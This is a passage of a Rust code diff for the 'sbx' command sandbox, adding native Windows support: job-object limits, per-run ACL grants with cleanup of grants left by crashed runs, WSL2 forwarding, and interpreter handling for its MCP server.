mode { NetMode::Allow => Status::NotRequested, @@ -995,7 +1078,8 @@ impl TempDir { let path = base.join(name); match create_private_dir(&path) { Ok(()) => { - let path = std::fs::canonicalize(&path).unwrap_or(path); + // Plain, not `\\?\C:\...`: many tools cannot use that as TEMP. + let path = plain_path(std::fs::canonicalize(&path).unwrap_or(path)); return Ok(Self { path }); } Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => continue, diff --git a/crates/sandbox/src/limits.rs b/crates/sandbox/src/limits.rs index 255dbef..f7edd0b 100644 --- a/crates/sandbox/src/limits.rs +++ b/crates/sandbox/src/limits.rs @@ -3,12 +3,72 @@ //! `setrlimit` limits are per process and inherited, so each process the //! command starts gets the same ceiling (not a shared budget). The wall-clock //! limit is the parent's: it kills the whole process group. +//! +//! On Windows the helper's job object carries them instead (see +//! [`windows_status`]): the per-process limits that have a job-object +//! equivalent, and the wall clock by the parent killing the helper, whose +//! job then takes the whole tree with it. use crate::policy::Limits; use crate::Status; +/// What this platform enforces of `limits`. #[must_use] pub fn status(limits: &Limits) -> Status { + if cfg!(windows) { + windows_status(limits) + } else { + rlimit_status(limits) + } +} + +/// What native Windows enforces of `limits`, through a job object. +/// +/// `memory_mb` becomes `JOB_OBJECT_LIMIT_PROCESS_MEMORY`, which caps the +/// memory a process COMMITS (not its address space, as `RLIMIT_AS` does): +/// an allocation past it fails. `cpu_secs` becomes +/// `JOB_OBJECT_LIMIT_PROCESS_TIME`, user-mode time per process: the process +/// is ended when it runs out. `file_size_mb` and `open_files` have no Windows +/// counterpart, so asking for either is reported not enforced, naming what +/// would still be. +#[must_use] +pub fn windows_status(limits: &Limits) -> Status { + let mut what = Vec::new(); + if limits.wall_secs.is_some() { + what.push("wall clock (the job is killed with everything in it)"); + } + if limits.cpu_secs.is_some() { + what.push("job object: user-mode CPU time per process"); + } + if limits.memory_mb.is_some() { + what.push("job object: committed memory per process"); + } + let mut missing = Vec::new(); + if limits.file_size_mb.is_some() { + missing.push("file_size_mb"); + } + if limits.open_files.is_some() { + missing.push("open_files"); + } + if !missing.is_empty() { + let enforced = if what.is_empty() { + String::new() + } else { + format!("; enforced: {}", what.join(", ")) + }; + return Status::NotEnforced(format!( + "{} not enforced: Windows has no per-process limit for {}{enforced}", + missing.join(" and "), + if missing.len() == 1 { "it" } else { "them" }, + )); + } + if what.is_empty() { + return Status::NotRequested; + } + Status::Enforced(what.join(", ")) +} + +fn rlimit_status(limits: &Limits) -> Status { let per_process = limits.cpu_secs.is_some() || limits.memory_mb.is_some() || limits.file_size_mb.is_some() @@ -74,3 +134,35 @@ pub(crate) fn apply(limits: &Limits) -> Result<(), String> { } Ok(()) } + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn windows_reports_what_its_job_object_enforces_and_what_it_cannot() { + assert_eq!(windows_status(&Limits::default()), Status::NotRequested); + let ok = Limits { + wall_secs: Some(5), + cpu_secs: Some(2), + memory_mb: Some(512), + ..Limits::default() + }; + assert!( + matches!(windows_status(&ok), Status::Enforced(s) if s.contains("committed memory") && s.contains("CPU") && s.contains("wall")) + ); + let gap = Limits { + memory_mb: Some(512), + file_size_mb: Some(1), + open_files: Some(10), + ..Limits::default() + }; + match windows_status(&gap) { + Status::NotEnforced(s) => { + assert!(s.contains("file_size_mb and open_files"), "{s}"); + assert!(s.contains("enforced: job object: committed memory"), "{s}"); + } + other => panic!("{other:?}"), + } + } +} diff --git a/crates/sandbox/src/main.rs b/crates/sandbox/src/main.rs index 5a7b2d1..5a6dc49 100644 --- a/crates/sandbox/src/main.rs +++ b/crates/sandbox/src/main.rs @@ -68,14 +68,14 @@ EXIT: fn main() -> ExitCode { incord_sandbox::enter_if_requested(); let args: Vec = std::env::args_os().skip(1).collect(); - // On Windows the sandbox is the Linux one, inside WSL2: forward there, - // unless asked to run natively (environment and wall clock only). + // On Windows: natively, or forwarded into WSL2 when the policy needs + // what only the Linux sandbox enforces (see `incord_sandbox::backend`). #[cfg(windows)] - if std::env::var_os("SBX_NATIVE").is_none() { - return windows_forward::forward(&args); + if let Some(code) = windows_backend::dispatch(&args) { + return code; } match real_main(args) { - Ok(code) => ExitCode::from(u8::try_from(code.clamp(0, 255)).unwrap_or(1)), + Ok(code) => exit_with(code), Err(e) => { eprintln!("sbx: {e}"); ExitCode::from(EXIT_SANDBOX as u8) @@ -83,27 +83,137 @@ fn main() -> ExitCode { } } -/// `sbx.exe` on Windows: the same command, run by the Linux `sbx` inside +/// The command's exit code as this process's own. Windows codes are 32 +/// bits (a crash is `0xC0000005`, negative as an `i32`): clamping one into +/// 0..=255 could turn a crash into success, so they are passed on whole. +fn exit_with(code: i32) -> ExitCode { + #[cfg(windows)] + if !(0..=255).contains(&code) { + std::process::exit(code); + } + ExitCode::from(u8::try_from(code.clamp(0, 255)).unwrap_or(1)) +} + +/// `sbx.exe` on Windows: run natively, or forward to the Linux `sbx` inside /// WSL2, where Landlock and seccomp do the confining. #[cfg(windows)] -mod windows_forward { +mod windows_backend { use std::ffi::OsString; - use std::process::{Command, ExitCode}; + use std::path::PathBuf; + use std::process::{Command, ExitCode, Stdio}; + use incord_sandbox::backend::{choose, Backend, Choice, WSL_SETUP}; + use incord_sandbox::enforcement; use incord_sandbox::wslpath::{to_wsl, translate_args}; /// Where the installer puts the Linux `sbx` inside WSL. const IN_WSL: &str = "$HOME/.local/bin/sbx"; - const SETUP: &str = "sbx on Windows runs its sandbox inside WSL2.\n\ - Set it up once (PowerShell, from the incode folder):\n\ - \x20 powershell -ExecutionPolicy Bypass -File scripts\\install-windows.ps1\n\ - Or set SBX_NATIVE=1 to run without WSL (environment and time limit only: \ - files and network are NOT confined)."; + /// `Some(exit)` when this invocation was forwarded (or refused); `None` + /// to run it natively. + pub fn dispatch(args: &[OsString]) -> Option { + let backend = match Backend::from_env(|k| std::env::var(k).ok()) { + Ok(b) => b, + Err(e) => { + eprintln!("sbx: {e}"); + return Some(ExitCode::from(125)); + } + }; + let sub = args.first().and_then(|a| a.to_str()).unwrap_or(""); + if backend == Backend::Wsl + && !matches!(sub, "" | "-h" | "--help" | "help" | "-V" | "--version") + { + return Some(forward(args)); + } + // What native would leave unenforced. A command line that does not + // parse runs natively, which reports the mistake. + let (gaps, best_effort) = match sub { + "run" | "check" => { + let o = super::parse(&args[1..]).ok()?; + (enforcement(&o.policy).gaps(), o.best_effort) + } + "mcp" => { + let (_, c) = super::parse_mcp(&args[1..]).ok()?; + (enforcement(&c.widest_policy()).gaps(), c.best_effort) + } + _ => return None, + }; + match choose(backend, &gaps, best_effort, wsl_ready) { + Choice::Native => None, + Choice::Wsl => Some(forward(args)), + // `check` is a report: say what native enforces (exit 1 for the + // gaps) and why WSL was not used. + Choice::Refuse(why) if sub == "check" => { + eprintln!("sbx: {why}"); + None + } + Choice::Refuse(why) => { + eprintln!("sbx: {why}"); + Some(ExitCode::from(125)) + } + } + } + + fn wsl_exe() -> PathBuf { + let root = std::env::var_os("SystemRoot").unwrap_or_else(|| r"C:\Windows".into()); + PathBuf::from(root).join("System32").join("wsl.exe") + } + + /// Whether forwarding would work: `wsl.exe` exists and the Linux `sbx` + /// is installed in the distribution. Starts WSL, so asked only when it + /// matters. + pub fn wsl_ready() -> Result<(), String> { + let exe = wsl_exe(); + if !exe.is_file() { + return Err("wsl.exe was not found: WSL is not installed".into()); + } + let mut cmd = Command::new(&exe); + if let Some(distro) = std::env::var_os("SBX_WSL_DISTRO") { + cmd.arg("-d").arg(distro); + } + let status = cmd + .args(["-e", "sh", "-c", &format!("[ -x \"{IN_WSL}\" ]")]) + .stdin(Stdio::null()) + .stdout(Stdio::null()) + .stderr(Stdio::null()) + .status(); + match status { + Ok(s) if s.success() => Ok(()), + Ok(_) => Err(format!( + "the Linux sbx is not installed inside WSL at {IN_WSL}, or WSL has no Linux \ + distribution" + )), + Err(e) => Err(format!("wsl.exe cannot start: {e}")), + } + } + + /// The Windows lines of `sbx doctor`: the backend, and whether WSL2 + /// forwarding is there for what native cannot enforce. + pub fn doctor() { + match Backend::from_env(|k| std::env::var(k).ok()) { + Ok(b) => println!( + " [info] backend SBX_BACKEND={}: {}", + b.as_str(), + match b { + Backend::Auto => "native when it enforces the whole policy, else WSL2", + Backend::Native => "always native", + Backend::Wsl => "always WSL2", + } + ), + Err(e) => println!(" [no ] backend {e}"), + } + match wsl_ready() { + Ok(()) => println!( + " [ok ] WSL2 forwarding available: network deny/proxy and deny_read \ + are enforced there (run `SBX_BACKEND=wsl sbx doctor` for its report)" + ), + Err(why) => println!(" [no ] WSL2 {why}; to have it, {WSL_SETUP}"), + } + } pub fn forward(args: &[OsString]) -> ExitCode { match run(args) { - Ok(code) => ExitCode::from(u8::try_from(code.clamp(0, 255)).unwrap_or(1)), + Ok(code) => super::exit_with(code), Err(e) => { eprintln!("sbx: {e}"); ExitCode::from(125) @@ -128,7 +238,7 @@ mod windows_forward { cwd.display() ) })?; - let mut cmd = Command::new("wsl.exe"); + let mut cmd = Command::new(wsl_exe()); if let Some(distro) = std::env::var_os("SBX_WSL_DISTRO") { cmd.arg("-d").arg(distro); } @@ -145,12 +255,15 @@ mod windows_forward { .args(&args); let status = cmd .status() - .map_err(|e| format!("cannot start wsl.exe ({e}).\n{SETUP}"))?; + .map_err(|e| format!("cannot start wsl.exe ({e}); {WSL_SETUP}"))?; let code = status.code().unwrap_or(1); // wsl.exe itself fails with -1 (no WSL, no distribution); the // command's own codes pass through. if code < 0 || code == 126 { - eprintln!("{SETUP}"); + eprintln!( + "sbx: forwarding to WSL2 failed; {WSL_SETUP}. Or set SBX_BACKEND=native to run \ + natively (writes, environment and limits confined; network and deny_read not)." + ); } Ok(code) } @@ -230,7 +343,24 @@ fn run(o: Options) -> Result { } fn mcp(args: &[OsString]) -> Result { - use incord_sandbox::server::{Ceilings, Server}; + let (root, mut ceilings) = parse_mcp(args)?; + let root = root + .unwrap_or_else(|| std::env::temp_dir().join(format!("sbx-mcp-{}", std::process::id()))); + std::fs::create_dir_all(&root).map_err(|e| format!("{}: {e}", root.display()))?; + ceilings.root = + incord_sandbox::plain_path(std::fs::canonicalize(&root).map_err(|e| e.to_string())?); + let stdin = std::io::stdin(); + incord_sandbox::server::Server::new(ceilings) + .serve(stdin.lock(), std::io::stdout().lock()) + .map_err(|e| format!("mcp: {e}"))?; + Ok(0) +} + +/// `sbx mcp`'s options: the sandboxes' root (if given) and the ceilings. +fn parse_mcp( + args: &[OsString], +) -> Result<(Option, incord_sandbox::server::Ceilings), String> { + use incord_sandbox::server::Ceilings; let mut root: Option = None; let mut ceilings = Ceilings::new(PathBuf::new()); let mut i = 0; @@ -279,15 +409,7 @@ fn mcp(args: &[OsString]) -> Result { if !ceilings.hosts.is_empty() && ceilings.network == NetMode::Deny { ceilings.network = NetMode::Proxy; } - let root = root - .unwrap_or_else(|| std::env::temp_dir().join(format!("sbx-mcp-{}", std::process::id()))); - std::fs::create_dir_all(&root).map_err(|e| format!("{}: {e}", root.display()))?; - ceilings.root = std::fs::canonicalize(&root).map_err(|e| e.to_string())?; - let stdin = std::io::stdin(); - Server::new(ceilings) - .serve(stdin.lock(), std::io::stdout().lock()) - .map_err(|e| format!("mcp: {e}"))?; - Ok(0) + Ok((root, ceilings)) } fn parse(args: &[OsString]) -> Result { @@ -426,6 +548,12 @@ fn doctor() { }; let full = probe(FsMode::WorkspaceWrite, NetMode::Proxy); let deny = probe(FsMode::Off, NetMode::Deny); + let hidden = { + let mut p = Policy::default(); + p.fs.mode = FsMode::ReadOnly; + p.fs.deny_read.push(PathBuf::from("hidden")); + enforcement(&p) + }; println!( "sbx {} on {}", env!("CARGO_PKG_VERSION"), @@ -437,6 +565,7 @@ fn doctor() { Status::NotRequested => {} }; show("filesystem", &full.filesystem); + show("deny_read", &hidden.filesystem); show("network deny", &deny.network); show("network proxy", &full.network); show("limits", &full.limits); @@ -448,4 +577,6 @@ fn doctor() { ), None => println!(" [ok ] proxy connects directly; allowed names that resolve to private addresses are refused"), } + #[cfg(windows)] + windows_backend::doctor(); } diff --git a/crates/sandbox/src/server.rs b/crates/sandbox/src/server.rs index e94bc40..257a289 100644 --- a/crates/sandbox/src/server.rs +++ b/crates/sandbox/src/server.rs @@ -59,12 +59,14 @@ pub struct Ceilings { impl Ceilings { /// The defaults: no network, ten minutes a run, an empty environment /// apart from the essentials, 4 GB of memory and 1 GB files per process. + /// On Windows there is no file size limit: Windows cannot enforce one, + /// and a default every run is refused for would make the server useless. #[must_use] pub fn new(root: PathBuf) -> Self { let mut base = Policy::default(); base.env.inherit = Inherit::None; base.limits.memory_mb = Some(4096); - base.limits.file_size_mb = Some(1024); + base.limits.file_size_mb = (!cfg!(windows)).then_some(1024); Self { network: NetMode::Deny, hosts: Vec::new(), @@ -77,6 +79,22 @@ impl Ceilings { } } +impl Ceilings { + /// The most a sandbox under these ceilings may ask for, as one policy: + /// what a caller checks to know whether this machine can serve them + /// (`sbx.exe` choosing between native Windows and WSL2). + #[must_use] + pub fn widest_policy(&self) -> Policy { + let mut p = self.base.clone(); + p.fs.mode = FsMode::WorkspaceWrite; + p.fs.write = vec![self.root.clone()]; + p.network.mode = self.network; + p.network.allow = self.hosts.clone(); + p.limits.wall_secs = Some(self.max_wall_secs); + p + } +} + struct Box_ { dir: PathBuf, network: NetMode, @@ -222,12 +240,30 @@ impl Server { } else if !hosts.is_empty() { return Err("allow_hosts needs network `proxy`".to_string()); } + // On native Windows, where only `allow` is ever enforced, say so now + // rather than at every run, which would each be refused anyway. + // (Elsewhere enforcement depends on the kernel, and each run says.) + if cfg!(windows) && !self.ceilings.best_effort { + let mut probe = Policy::default(); + probe.network.mode = network; + if let crate::Status::NotEnforced(why) = crate::enforcement(&probe).network { + return Err(format!( + "network `{}` cannot be enforced on this machine: {why}{}", + network.as_str(), + if rank(self.ceilings.network) >= rank(NetMode::Allow) { + " (this server allows `allow`, if an open network will do)" + } else { + "" + } + )); + } + } self.next += 1; let id = format!("sbx-{}-{}", std::process::id(), self.next); let dir = self.ceilings.root.join(&id); std::fs::create_dir_all(&dir).map_err(|e| format!("{}: {e}", dir.display()))?; - let dir = std::fs::canonicalize(&dir).map_err(|e| e.to_string())?; + let dir = crate::plain_path(std::fs::canonicalize(&dir).map_err(|e| e.to_string())?); self.boxes.insert( id.clone(), Box_ { @@ -360,12 +396,13 @@ impl Server { let interpreter = args .get("interpreter") .and_then(Value::as_str) - .unwrap_or("sh"); + .unwrap_or(DEFAULT_INTERPRETER); let runs = self.boxes.get(&id).map_or(0, |b| b.runs) + 1; - let name = format!(".sbx/script-{runs}"); + let (ext, _) = interpreter_style(interpreter, cfg!(windows)); + let name = format!(".sbx/script-{runs}{ext}"); let path = inside(&dir, &name, true)?; write_new(&path, script.as_bytes())?; - vec![interpreter.to_string(), path.display().to_string()] + script_argv(interpreter, &path.display().to_string(), cfg!(windows)) } _ => return Err("give either `command` (a list) or `script` (text)".to_string()), }; @@ -404,7 +441,9 @@ impl Server { .remove(id) .ok_or_else(|| format!("no sandbox `{id}`"))?; // Only ever a folder this server made beneath its root. - let root = std::fs::canonicalize(&self.ceilings.root).map_err(|e| e.to_string())?; + let root = crate::plain_path( + std::fs::canonicalize(&self.ceilings.root).map_err(|e| e.to_string())?, + ); if !b.dir.starts_with(&root) || b.dir == root { return Err(format!("{} is not a sandbox folder", b.dir.display())); } @@ -412,6 +451,51 @@ impl Server { } } +/// The interpreter a `script` runs with when none is named: `sh`, or +/// PowerShell on Windows, where there is no `sh` (and Git Bash cannot start +/// under the write-restricted token). +const DEFAULT_INTERPRETER: &str = if cfg!(windows) { "powershell" } else { "sh" }; + +/// On Windows, how an interpreter wants its script: the file extension it +/// needs (PowerShell runs only `.ps1` files, `cmd` only `.cmd`/`.bat`) and +/// the arguments before the script's path. Elsewhere: no extension, none. +fn interpreter_style(interpreter: &str, windows: bool) -> (&'static str, &'static [&'static str]) { + if !windows { + return ("", &[]); + } + let name = interpreter + .rsplit(['\\', '/']) + .next() + .unwrap_or(interpreter) + .to_ascii_lowercase(); + let name = name.strip_suffix(".exe").unwrap_or(&name); + match name { + "powershell" | "pwsh" => ( + ".ps1", + &[ + "-NoProfile", + "-NonInteractive", + "-ExecutionPolicy", + "Bypass", + "-File", + ], + ), + "cmd" => (".cmd", &["/d", "/c"]), + "python" | "python3" | "py" => (".py", &[]), + "node" => (".js", &[]), + _ => ("", &[]), + } +} + +/// The argv that runs the script at `path` with `interpreter`. +fn script_argv(interpreter: &str, path: &str, windows: bool) -> Vec { + let (_, flags) = interpreter_style(interpreter, windows); + let mut argv = vec![interpreter.to_string()]; + argv.extend(flags.iter().map(|f| (*f).to_string())); + argv.push(path.to_string()); + argv +} + fn rank(m: NetMode) -> u8 { match m { NetMode::Deny => 0, @@ -534,12 +618,12 @@ fn tools() -> Value { }, { "name": "sandbox_run", - "description": "Run a command (`command`, an argv list) or a script (`script`, text run with `interpreter`, default sh) inside the sandbox. Returns exit_code, stdout, stderr (64 KB each at most), timed_out, and any network requests the proxy refused. Everything the run started is stopped when it ends.", + "description": "Run a command (`command`, an argv list) or a script (`script`, text run with `interpreter`, default sh, or powershell on Windows) inside the sandbox. Returns exit_code, stdout, stderr (64 KB each at most), timed_out, and any network requests the proxy refused. Everything the run started is stopped when it ends.", "inputSchema": { "type": "object", "required": ["id"], "properties": { "id": id, "command": { "type": "array", "items": { "type": "string" } }, "script": { "type": "string" }, - "interpreter": { "type": "string", "description": "For script: sh, bash, python3, node, ..." }, + "interpreter": { "type": "string", "description": "For script: sh, bash, python3, node, ... (default sh; powershell on Windows, where cmd works too)" }, "cwd": path, "stdin": { "type": "string" }, "timeout_secs": { "type": "integer", "description": "Default 120, at most the server's limit." } @@ -609,12 +693,61 @@ mod tests { assert!(s .create(&json!({"network": "proxy", "allow_hosts": ["evil.example"]})) .is_err()); - assert!(s - .create( - &json!({"network": "proxy", "allow_hosts": ["pypi.org", "files.pythonhosted.org"]}) - ) - .is_ok()); - assert!(s.create(&json!({})).is_ok(), "deny is always allowed"); + // Within the ceilings. Native Windows enforces neither proxy nor + // deny, and says so at once instead. + let within = |r: Result| { + if cfg!(windows) { + r.is_err_and(|e| e.contains("cannot be enforced")) + } else { + r.is_ok() + } + }; + assert!(within(s.create( + &json!({"network": "proxy", "allow_hosts": ["pypi.org", "files.pythonhosted.org"]}) + ))); + assert!(within(s.create(&json!({}))), "deny is always allowed"); + } + + #[test] + fn scripts_get_what_their_interpreter_needs_on_windows() { + assert_eq!( + script_argv("sh", "/b/.sbx/script-1", false), + ["sh", "/b/.sbx/script-1"] + ); + assert_eq!(interpreter_style("powershell", false), ("", &[][..])); + assert_eq!( + script_argv("powershell", r"C:\b\.sbx\script-1.ps1", true), + [ + "powershell", + "-NoProfile", + "-NonInteractive", + "-ExecutionPolicy", + "Bypass", + "-File", + r"C:\b\.sbx\script-1.ps1" + ] + ); + assert_eq!(interpreter_style(r"C:\x\PWSH.EXE", true).0, ".ps1"); + assert_eq!( + script_argv("cmd", r"C:\b\s.cmd", true), + ["cmd", "/d", "/c", r"C:\b\s.cmd"] + ); + assert_eq!(interpreter_style("python3", true), (".py", &[][..])); + assert_eq!(interpreter_style("ruby", true), ("", &[][..])); + } + + #[test] + fn the_widest_policy_is_what_the_ceilings_allow() { + let root = tempfile::tempdir().expect("tempdir"); + let mut c = Ceilings::new(root.path().to_path_buf()); + c.network = NetMode::Proxy; + c.hosts = vec!["pypi.org".into()]; + let p = c.widest_policy(); + assert_eq!(p.fs.mode, FsMode::WorkspaceWrite); + assert_eq!(p.network.mode, NetMode::Proxy); + assert_eq!(p.network.allow, ["pypi.org"]); + assert_eq!(p.limits.wall_secs, Some(600)); + assert_eq!(p.env.inherit, Inherit::None); } #[test] diff --git a/crates/sandbox/src/windows/acl.rs b/crates/sandbox/src/windows/acl.rs new file mode 100644 index 0000000..057ec8b --- /dev/null +++ b/crates/sandbox/src/windows/acl.rs @@ -0,0 +1,385 @@ +//! The grant: one inheritable `Modify` ACE per writable root, for one run. +//! +//! Ported from incode's `sandbox::windows::acl`. incode grants once per +//! session and keeps the roots granted across commands; `sbx` runs one +//! command per policy, so each run gets its own SID and its own [`Lease`]: +//! granted when the command is prepared, revoked when the lease drops after +//! it exits. Two runs at once never share a SID, so neither can write the +//! other's roots. +//! +//! # A crash leaves the ACE behind: the sweep +//! +//! Every grant is written down before it is made, in +//! `%LOCALAPPDATA%\sbx\grants\.grant` (the SID and each root), and the +//! process holds a named mutex `Global\sbx-grant-` while the lease +//! lives. Every new lease first sweeps: a record whose mutex no longer exists +//! belongs to a process that died, so its ACEs are revoked and the record +//! deleted. A record whose revoke failed is kept for the next sweep. An ACE a +//! dead run left is harmless meanwhile (only a token carrying that exact SID +//! could use it, and none will be made again), but it is the user's ACL, so +//! it is cleaned. +//! +//! The sweep only ever revokes SIDs with this crate's prefix +//! ([`super::SID_PREFIX`]), so a forged record can do no more than remove +//! another dead run's ACE. + +use std::path::{Path, PathBuf}; + +use windows_sys::Win32::Foundation::{ + CloseHandle, GetLastError, ERROR_FILE_NOT_FOUND, HANDLE, WAIT_ABANDONED, WAIT_OBJECT_0, +}; +use windows_sys::Win32::Security::Authorization::{ + GetNamedSecurityInfoW, SetEntriesInAclW, SetNamedSecurityInfoW, EXPLICIT_ACCESS_W, + GRANT_ACCESS, NO_MULTIPLE_TRUSTEE, REVOKE_ACCESS, SE_FILE_OBJECT, TRUSTEE_IS_SID, + TRUSTEE_IS_UNKNOWN, TRUSTEE_W, +}; +use windows_sys::Win32::Security::{ + GetSecurityDescriptorControl, ACL, DACL_SECURITY_INFORMATION, NO_INHERITANCE, + PROTECTED_DACL_SECURITY_INFORMATION, SE_DACL_PROTECTED, SUB_CONTAINERS_AND_OBJECTS_INHERIT, + UNPROTECTED_DACL_SECURITY_INFORMATION, +}; +use windows_sys::Win32::System::Threading::{ + CreateMutexW, OpenMutexW, ReleaseMutex, WaitForSingleObject, SYNCHRONIZATION_SYNCHRONIZE, +}; + +use super::token::{last_error, sid, wide, LocalPtr, OwnedHandle}; +use super::{fold_nested, is_session_sid, parse_record, record_text, refuse_broad, session_sid}; + +/// The rights granted: `icacls`'s `M` (read, write, execute, delete). +const MODIFY: u32 = 0x0013_01BF; + +/// How long a grant or revoke waits for another process changing an ACL at +/// the same moment. Propagation over a very large tree takes tens of +/// seconds; past this the run is refused rather than left hanging. +const LOCK_WAIT_MS: u32 = 120_000; + +/// One run's grant on its roots. Dropping it revokes them. +pub(crate) struct Lease { + sid: String, + record: PathBuf, + roots: Vec, + /// The named mutex that tells a later sweep this run is alive. + _alive: OwnedHandle, +} + +impl std::fmt::Debug for Lease { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("Lease") + .field("sid", &self.sid) + .field("roots", &self.roots) + .finish_non_exhaustive() + } +} + +impl Lease { + /// Grant `roots` (the writable roots and the run's temp directory) to a + /// new private SID, after sweeping what a crashed run left. + /// + /// # Errors + /// When a root may not or could not be granted. Nothing this call granted + /// is left behind on failure. + pub(crate) fn acquire(roots: &[PathBuf]) -> Result { + let profile = std::env::var("USERPROFILE").ok(); + for root in roots { + refuse_broad(&root.to_string_lossy(), profile.as_deref()) + .map_err(|e| format!("workspace-write {e}"))?; + if !root.is_dir() { + return Err(format!( + "workspace-write cannot grant {}: not a directory", + root.display() + )); + } + } + let roots = fold_nested(roots); + let dir = records_dir(); + std::fs::create_dir_all(&dir).map_err(|e| format!("{}: {e}", dir.display()))?; + sweep(&dir); + + let (rid, alive) = claim_rid(&dir)?; + let mut lease = Self { + sid: session_sid(rid), + record: dir.join(format!("{rid}.grant")), + roots: Vec::new(), + _alive: alive, + }; + // Written down BEFORE anything is granted, so a crash at any point + // after this is swept. + std::fs::write(&lease.record, record_text(&lease.sid, roots.iter())) + .map_err(|e| format!("{}: {e}", lease.record.display()))?; + for root in &roots { + if let Err(e) = change(root, &lease.sid, Change::Grant) { + // A propagation can fail part-way (a file the user may not + // re-ACL); take back whatever landed. Dropping `lease` + // revokes the roots granted before this one. + let _ = change(root, &lease.sid, Change::Revoke); + return Err(format!( + "workspace-write could not grant {}: {e}", + root.display() + )); + } + lease.roots.push(root.clone()); + } + Ok(lease) + } + + /// The SID the command's token is restricted to. + pub(crate) fn sid(&self) -> &str { + &self.sid + } +} + +impl Drop for Lease { + fn drop(&mut self) { + let mut stuck = Vec::new(); + for root in &self.roots { + if !root.exists() { + continue; // the temp directory, already removed + } + if let Err(e) = change(root, &self.sid, Change::Revoke) { + eprintln!( + "sbx: could not revoke the sandbox's access to {} ({e}); the next run \ + sweeps it", + root.display() + ); + stuck.push(root.clone()); + } + } + if stuck.is_empty() { + let _ = std::fs::remove_file(&self.record); + } else { + let _ = std::fs::write(&self.record, record_text(&self.sid, stuck.iter())); + } + } +} + +/// Where grant records live: beside the user's other per-machine data, never +/// inside anything a command is granted (a root holding the profile is +/// refused). +fn records_dir() -> PathBuf { + std::env::var_os("LOCALAPPDATA") + .map(|d| PathBuf::from(d).join("sbx").join("grants")) + .unwrap_or_else(|| std::env::temp_dir().join("sbx-grants")) +} + +/// A fresh RID nobody is using, and the liveness mutex that holds it. +fn claim_rid(dir: &Path) -> Result<(u32, OwnedHandle), String> { + for attempt in 0..64u32 { + let rid = random_rid(attempt); + if is_alive(rid) || dir.join(format!("{rid}.grant")).exists() { + continue; + } + // SAFETY: a NUL-terminated name; no security attributes, so the + // handle is not inherited by the command (which would keep a dead + // run looking alive). + let handle = unsafe { CreateMutexW(std::ptr::null(), 0, wide(alive_name(rid)).as_ptr()) }; + if handle.is_null() { + return Err(last_error("CreateMutexW")); + } + return Ok((rid, OwnedHandle(handle))); + } + Err("could not find an unused sandbox SID".to_string()) +} + +/// A random, non-zero RID. Uniqueness is what matters, not secrecy: a +/// process cannot add a SID to its own token, so knowing it gains nothing. +fn random_rid(salt: u32) -> u32 { + use std::hash::{BuildHasher, Hasher}; + let mut h = std::collections::hash_map::RandomState::new().build_hasher(); + h.write_u32(std::process::id()); + h.write_u32(salt); + h.write_u128( + std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .map(|d| d.as_nanos()) + .unwrap_or(0), + ); + let rid = (h.finish() & 0x7fff_ffff) as u32; + rid.max(1) +} + +/// Revoke what dead runs left: every record whose liveness mutex is gone. +fn sweep(dir: &Path) { + let Ok(entries) = std::fs::read_dir(dir) else { + return; + }; + for entry in entries.flatten() { + let path = entry.path(); + if path.extension().is_none_or(|e| e != "grant") { + continue; + } + let Some(rid) = path + .file_stem() + .and_then(|s| s.to_str()) + .and_then(|s| s.parse::().ok()) + else { + continue; + }; + if is_alive(rid) { + continue; + } + let Some((sid, roots)) = std::fs::read_to_string(&path) + .ok() + .and_then(|t| parse_record(&t)) + else { + continue; + }; + if !is_session_sid(&sid) { + continue; + } + let mut clean = true; + for root in roots.iter().filter(|r| r.exists()) { + if change(root, &sid, Change::Revoke).is_err() { + clean = false; + } + } + if clean { + let _ = std::fs::remove_file(&path); + } + } +} + +/// Whether run `rid` is still alive: its liveness mutex exists. Any answer +/// but "no such mutex" counts as alive, so a sweep never revokes a live +/// run's grant on a doubt. +fn is_alive(rid: u32) -> bool { + // SAFETY: a NUL-terminated name; the handle, if any, is closed at once. + unsafe { + let handle = OpenMutexW( + SYNCHRONIZATION_SYNCHRONIZE, + 0, + wide(alive_name(rid)).as_ptr(), + ); + if !handle.is_null() { + CloseHandle(handle); + return true; + } + GetLastError() != ERROR_FILE_NOT_FOUND + } +} + +fn alive_name(rid: u32) -> String { + format!("Global\\sbx-grant-{rid}") +} + +#[derive(Clone, Copy)] +enum Change { + Grant, + Revoke, +} + +/// Add (or remove) the SID's inheritable `Modify` ACE on `dir`, propagating +/// to everything beneath it. The DACL's protection is kept as it was. +/// Serialised across processes, because two read-modify-writes of one DACL +/// at once would lose one. +fn change(dir: &Path, sid_text: &str, change: Change) -> Result<(), String> { + let _lock = AclLock::take()?; + let trustee = sid(sid_text)?; + let path = wide(dir); + // SAFETY: every pointer passed lives to the end of the block (`path`, + // `trustee`, the returned descriptor and ACL, freed by their owners); + // each call's result is checked. + unsafe { + let mut dacl: *mut ACL = std::ptr::null_mut(); + let mut descriptor: *mut core::ffi::c_void = std::ptr::null_mut(); + let err = GetNamedSecurityInfoW( + path.as_ptr(), + SE_FILE_OBJECT, + DACL_SECURITY_INFORMATION, + std::ptr::null_mut(), + std::ptr::null_mut(), + &mut dacl, + std::ptr::null_mut(), + &mut descriptor, + ); + if err != 0 { + return Err(format!( + "reading the ACL of {} failed with error {err}", + dir.display() + )); + } + let descriptor = LocalPtr(descriptor); + let mut control: u16 = 0; + let mut revision: u32 = 0; + if GetSecurityDescriptorControl(descriptor.0, &mut control, &mut revision) == 0 { + return Err(last_error("GetSecurityDescriptorControl")); + } + let (mode, rights, inheritance) = match change { + Change::Grant => (GRANT_ACCESS, MODIFY, SUB_CONTAINERS_AND_OBJECTS_INHERIT), + Change::Revoke => (REVOKE_ACCESS, 0, NO_INHERITANCE), + }; + let entry = EXPLICIT_ACCESS_W { + grfAccessPermissions: rights, + grfAccessMode: mode, + grfInheritance: inheritance, + Trustee: TRUSTEE_W { + pMultipleTrustee: std::ptr::null_mut(), + MultipleTrusteeOperation: NO_MULTIPLE_TRUSTEE, + TrusteeForm: TRUSTEE_IS_SID, + TrusteeType: TRUSTEE_IS_UNKNOWN, + ptstrName: trustee.0.cast(), + }, + }; + let mut updated: *mut ACL = std::ptr::null_mut(); + let err = SetEntriesInAclW(1, &entry, dacl, &mut updated); + if err != 0 { + return Err(format!("SetEntriesInAclW failed with error {err}")); + } + let updated = LocalPtr(updated.cast()); + let protection = if control & SE_DACL_PROTECTED != 0 { + PROTECTED_DACL_SECURITY_INFORMATION + 